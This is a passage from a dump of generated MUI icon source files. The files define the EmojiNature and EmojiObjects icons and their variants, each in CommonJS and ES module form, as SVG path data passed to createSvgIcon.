    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-4.51 3.51c-.43-.43-.94-.73-1.49-.93V8h-1v1.38c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17-.16.16-.3.34-.43.53L6 10.52c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91s2.57 1.38 3.91 1c.29.42.68.77 1.16 1q.63.3 1.29.3c.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.52-1.37c.18-.13.36-.27.53-.43.87-.87 1.24-2.04 1.14-3.17H16v-1h-1.59c-.19-.55-.49-1.06-.92-1.5m-8.82 3.78c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNature');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNature.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-4.51 3.51c-.43-.43-.94-.73-1.49-.93V8h-1v1.38c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17-.16.16-.3.34-.43.53L6 10.52c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91s2.57 1.38 3.91 1c.29.42.68.77 1.16 1q.63.3 1.29.3c.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.52-1.37c.18-.13.36-.27.53-.43.87-.87 1.24-2.04 1.14-3.17H16v-1h-1.59c-.19-.55-.49-1.06-.92-1.5m-8.82 3.78c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNature');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-4.51 3.51c-.43-.43-.94-.73-1.49-.93V8h-1v1.38c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17l-.5.5-1.33-.5c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91.78.78 1.8 1.17 2.83 1.17.37 0 .73-.07 1.09-.17.29.42.68.77 1.16 1 .41.2.84.3 1.28.3.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.49-1.3.5-.5c.87-.87 1.24-2.04 1.14-3.17H16v-1h-1.59c-.19-.55-.49-1.06-.92-1.5m-5.91 8.31c-.15.04-.3.06-.46.06-.53 0-1.04-.21-1.41-.59-.38-.38-.59-.88-.59-1.41 0-.16.03-.32.06-.47.14.01.28.03.42.03.85 0 1.68-.2 2.44-.48-.32.89-.54 1.87-.46 2.86m-2.91-4.53c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNatureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-4.51 3.51c-.43-.43-.94-.73-1.49-.93V8h-1v1.38c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17l-.5.5-1.33-.5c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91.78.78 1.8 1.17 2.83 1.17.37 0 .73-.07 1.09-.17.29.42.68.77 1.16 1 .41.2.84.3 1.28.3.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.49-1.3.5-.5c.87-.87 1.24-2.04 1.14-3.17H16v-1h-1.59c-.19-.55-.49-1.06-.92-1.5m-5.91 8.31c-.15.04-.3.06-.46.06-.53 0-1.04-.21-1.41-.59-.38-.38-.59-.88-.59-1.41 0-.16.03-.32.06-.47.14.01.28.03.42.03.85 0 1.68-.2 2.44-.48-.32.89-.54 1.87-.46 2.86m-2.91-4.53c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNatureOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2.5 5h-1.09c-.19-.54-.49-1.05-.93-1.49s-.94-.73-1.48-.92V8.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v.88c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17-.16.16-.3.34-.43.53L6 10.52c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91s2.57 1.38 3.91 1c.29.42.68.77 1.16 1q.63.3 1.29.3c.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.52-1.37c.18-.13.36-.27.53-.43.87-.87 1.24-2.04 1.14-3.17h.88c.28 0 .5-.22.5-.5-.01-.29-.23-.51-.51-.51M4.67 14.29c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNatureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-2.5 5h-1.09c-.19-.54-.49-1.05-.93-1.49s-.94-.73-1.48-.92V8.5c0-.28-.22-.5-.5-.5s-.5.22-.5.5v.88c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17-.16.16-.3.34-.43.53L6 10.52c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91s2.57 1.38 3.91 1c.29.42.68.77 1.16 1q.63.3 1.29.3c.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.52-1.37c.18-.13.36-.27.53-.43.87-.87 1.24-2.04 1.14-3.17h.88c.28 0 .5-.22.5-.5-.01-.29-.23-.51-.51-.51M4.67 14.29c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNatureRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-4.51 3.51c-.43-.43-.94-.73-1.49-.93V8h-1v1.38c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17-.16.16-.3.34-.43.53L6 10.52c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91s2.57 1.38 3.91 1c.29.42.68.77 1.16 1q.63.3 1.29.3c.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.52-1.37c.18-.13.36-.27.53-.43.87-.87 1.24-2.04 1.14-3.17H16v-1h-1.59c-.19-.55-.49-1.06-.92-1.5m-8.82 3.78c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNatureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.94 4.88c-.18-.53-.69-.88-1.26-.88H19.6l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-1.07c-.57 0-1.08.35-1.26.88-.19.56.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.23.17.51.26.78.26.31 0 .61-.11.86-.32l.81-.7.81.7c.25.21.55.32.86.32.27 0 .55-.09.78-.26.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-4.51 3.51c-.43-.43-.94-.73-1.49-.93V8h-1v1.38c-.11-.01-.23-.03-.34-.03-1.02 0-2.05.39-2.83 1.17-.16.16-.3.34-.43.53L6 10.52c-1.56-.55-3.28.27-3.83 1.82-.27.75-.23 1.57.12 2.29.23.48.58.87 1 1.16-.38 1.35-.06 2.85 1 3.91s2.57 1.38 3.91 1c.29.42.68.77 1.16 1q.63.3 1.29.3c.34 0 .68-.06 1.01-.17 1.56-.55 2.38-2.27 1.82-3.85l-.52-1.37c.18-.13.36-.27.53-.43.87-.87 1.24-2.04 1.14-3.17H16v-1h-1.59c-.19-.55-.49-1.06-.92-1.5m-8.82 3.78c-.25-.09-.45-.27-.57-.51s-.13-.51-.04-.76c.19-.52.76-.79 1.26-.61l3.16 1.19c-1.15.6-2.63 1.11-3.81.69m6.32 5.65c-.25.09-.52.08-.76-.04-.24-.11-.42-.32-.51-.57-.42-1.18.09-2.65.7-3.8l1.18 3.13c.18.52-.09 1.1-.61 1.28m1.21-5.34-.61-1.61c0-.01-.01-.02-.02-.03l-.06-.12c-.02-.04-.04-.07-.07-.11l-.09-.09-.09-.09c-.03-.03-.07-.05-.11-.07s-.07-.05-.12-.06c-.01 0-.02-.01-.03-.02l-1.6-.6c.36-.29.79-.46 1.26-.46.53 0 1.04.21 1.41.59.73.73.77 1.88.13 2.67\"\n}), 'EmojiNatureSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.94 4.88c-.19-.55-.75-.92-1.36-.88h-.98l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-.98c-.61-.04-1.16.32-1.35.88s.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.5.37 1.17.35 1.64-.06l.81-.7.81.7c.47.4 1.15.43 1.64.06.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6.1 17.9c.53.53 1.27.69 1.94.5-.03-1.19.35-2.37.92-3.36-1 .57-2.17.95-3.36.92-.19.67-.02 1.41.5 1.94m3.55-6.35 1.61.66c.25.1.44.3.54.54l.66 1.61c.75-.78.74-2.01-.03-2.78-.77-.78-2-.78-2.78-.03\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.86 12c-.17-.67-.5-1.31-1.03-1.84-.52-.52-1.16-.85-1.83-1.02V7h-1v2c-1.01.01-2.02.39-2.79 1.16l-.56.56-1.53-.63c-1.52-.63-3.27.1-3.89 1.62-.6 1.46.05 3.11 1.44 3.8-.33 1.31 0 2.76 1.03 3.79s2.48 1.36 3.79 1.03c.69 1.39 2.34 2.04 3.8 1.44 1.52-.63 2.25-2.37 1.62-3.89l-.63-1.53.56-.56C14.61 15.02 15 14.01 15 13h2v-1zM4.58 13.8c-.51-.21-.75-.79-.54-1.3s.79-.75 1.3-.54l2.92 1.2c-1.04.68-2.43 1.15-3.68.64m3.46 4.6c-.67.19-1.41.02-1.94-.5-.53-.53-.69-1.27-.5-1.94 1.19.03 2.37-.35 3.36-.92-.57.99-.95 2.17-.92 3.36m3.46 1.56c-.51.21-1.09-.03-1.3-.54-.51-1.25-.04-2.64.64-3.67l1.2 2.92c.21.5-.03 1.09-.54 1.29m.95-5.61-.66-1.61c-.1-.25-.3-.44-.54-.54l-1.61-.66c.78-.75 2.01-.74 2.78.03.78.77.78 2 .03 2.78\"\n}, \"3\")], 'EmojiNatureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiNatureTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"18\",\n  cy: \"6\",\n  r: \"1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.94 4.88c-.19-.55-.75-.92-1.36-.88h-.98l-.31-.97C19.15 2.43 18.61 2 18 2s-1.15.43-1.29 1.04L16.4 4h-.98c-.61-.04-1.16.32-1.35.88s.04 1.17.56 1.48l.87.52-.4 1.24c-.23.58-.04 1.25.45 1.62.5.37 1.17.35 1.64-.06l.81-.7.81.7c.47.4 1.15.43 1.64.06.5-.37.68-1.04.45-1.62l-.39-1.24.87-.52c.51-.31.74-.92.56-1.48M18 7c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M6.1 17.9c.53.53 1.27.69 1.94.5-.03-1.19.35-2.37.92-3.36-1 .57-2.17.95-3.36.92-.19.67-.02 1.41.5 1.94m3.55-6.35 1.61.66c.25.1.44.3.54.54l.66 1.61c.75-.78.74-2.01-.03-2.78-.77-.78-2-.78-2.78-.03\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.86 12c-.17-.67-.5-1.31-1.03-1.84-.52-.52-1.16-.85-1.83-1.02V7h-1v2c-1.01.01-2.02.39-2.79 1.16l-.56.56-1.53-.63c-1.52-.63-3.27.1-3.89 1.62-.6 1.46.05 3.11 1.44 3.8-.33 1.31 0 2.76 1.03 3.79s2.48 1.36 3.79 1.03c.69 1.39 2.34 2.04 3.8 1.44 1.52-.63 2.25-2.37 1.62-3.89l-.63-1.53.56-.56C14.61 15.02 15 14.01 15 13h2v-1zM4.58 13.8c-.51-.21-.75-.79-.54-1.3s.79-.75 1.3-.54l2.92 1.2c-1.04.68-2.43 1.15-3.68.64m3.46 4.6c-.67.19-1.41.02-1.94-.5-.53-.53-.69-1.27-.5-1.94 1.19.03 2.37-.35 3.36-.92-.57.99-.95 2.17-.92 3.36m3.46 1.56c-.51.21-1.09-.03-1.3-.54-.51-1.25-.04-2.64.64-3.67l1.2 2.92c.21.5-.03 1.09-.54 1.29m.95-5.61-.66-1.61c-.1-.25-.3-.44-.54-.54l-1.61-.66c.78-.75 2.01-.74 2.78.03.78.77.78 2 .03 2.78\"\n}, \"3\")], 'EmojiNatureTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjects.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 16h-4v-1h4zm0-2h-4v-1h4zm-1.5-5.59V14h-1v-2.59L9.67 9.59l.71-.71L12 10.5l1.62-1.62.71.71z\"\n}), 'EmojiObjects');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjects.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 16h-4v-1h4zm0-2h-4v-1h4zm-1.5-5.59V14h-1v-2.59L9.67 9.59l.71-.71L12 10.5l1.62-1.62.71.71z\"\n}), 'EmojiObjects');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3c-.46 0-.93.04-1.4.14-2.76.53-4.96 2.76-5.48 5.52-.48 2.61.48 5.01 2.22 6.56.43.38.66.91.66 1.47V19c0 1.1.9 2 2 2h.28c.35.6.98 1 1.72 1s1.38-.4 1.72-1H14c1.1 0 2-.9 2-2v-2.31c0-.55.22-1.09.64-1.46C18.09 13.95 19 12.08 19 10c0-3.87-3.13-7-7-7m2 14h-4v-1h4zm-4 2v-1h4v1zm5.31-5.26c-.09.08-.16.18-.24.26H8.92c-.08-.09-.15-.19-.24-.27-1.32-1.18-1.91-2.94-1.59-4.7.36-1.94 1.96-3.55 3.89-3.93.34-.07.68-.1 1.02-.1 2.76 0 5 2.24 5 5 0 1.43-.61 2.79-1.69 3.74\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M11.5 11h1v3h-1z\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m9.6725 9.5808.7071-.707 2.1214 2.1213-.7071.707z\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12.208 11.7121-.707-.707 2.1212-2.1214.7071.7071z\"\n}, \"3\")], 'EmojiObjectsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/EmojiObjectsOutlined.mjs",
